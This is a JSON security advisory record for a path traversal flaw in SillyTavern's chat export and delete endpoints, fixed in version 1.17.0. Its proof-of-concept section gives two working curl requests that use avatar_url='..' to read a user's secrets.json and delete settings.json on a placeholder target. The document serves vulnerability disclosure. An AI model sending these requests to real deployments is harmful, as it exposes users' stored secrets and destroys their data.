{"id":"GHSA-vprr-q85p-79mf","summary":"SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root","details":"## Summary\nA Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=\"..\"`.\n\n### Details\nThe input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.\n\nEvidence:\n- Weak validator regex (does not reject `..`):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27\u003e\n- Vulnerable delete path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577\u003e\n- Vulnerable export path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nBecause `avatar_url=\"..\"` is accepted, `path.join(\u003cuser\u003e/chats, \"..\")` resolves to `\u003cuser\u003e/`, enabling direct access to files outside the chats directory.\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nRead sensitive file (`secrets.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"is_group\":false,\"file\":\"secrets.json\",\"format\":\"jsonl\",\"exportfilename\":\"x\"}' \\\n  http://TARGET:8000/api/chats/export\n```\n\nDelete sensitive file (`settings.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"chatfile\":\"settings.json\"}' \\\n  http://TARGET:8000/api/chats/delete\n```\n\n### Impact\n- Confidentiality: exposed per-user secrets and config data.\n- Integrity/Availability: attacker can delete critical per-user files and break account operation.\n- Risk is significant in multi-user or remotely reachable deployments.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0","aliases":["CVE-2026-34524"],"modified":"2026-04-06T17:36:56.254071Z","published":"2026-04-01T21:41:48Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-01T21:41:48Z","nvd_published_at":"2026-04-02T18:16:29Z","cwe_ids":["CWE-22"]},"references":[{"type":"WEB","url":"https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34524"},{"type":"PACKAGE","url":"https://github.com/SillyTavern/SillyTavern"},{"type":"WEB","url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"}],"affected":[{"package":{"name":"sillytavern","ecosystem":"npm","purl":"pkg:npm/sillytavern"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.17.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.16.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-vprr-q85p-79mf/GHSA-vprr-q85p-79mf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"}]}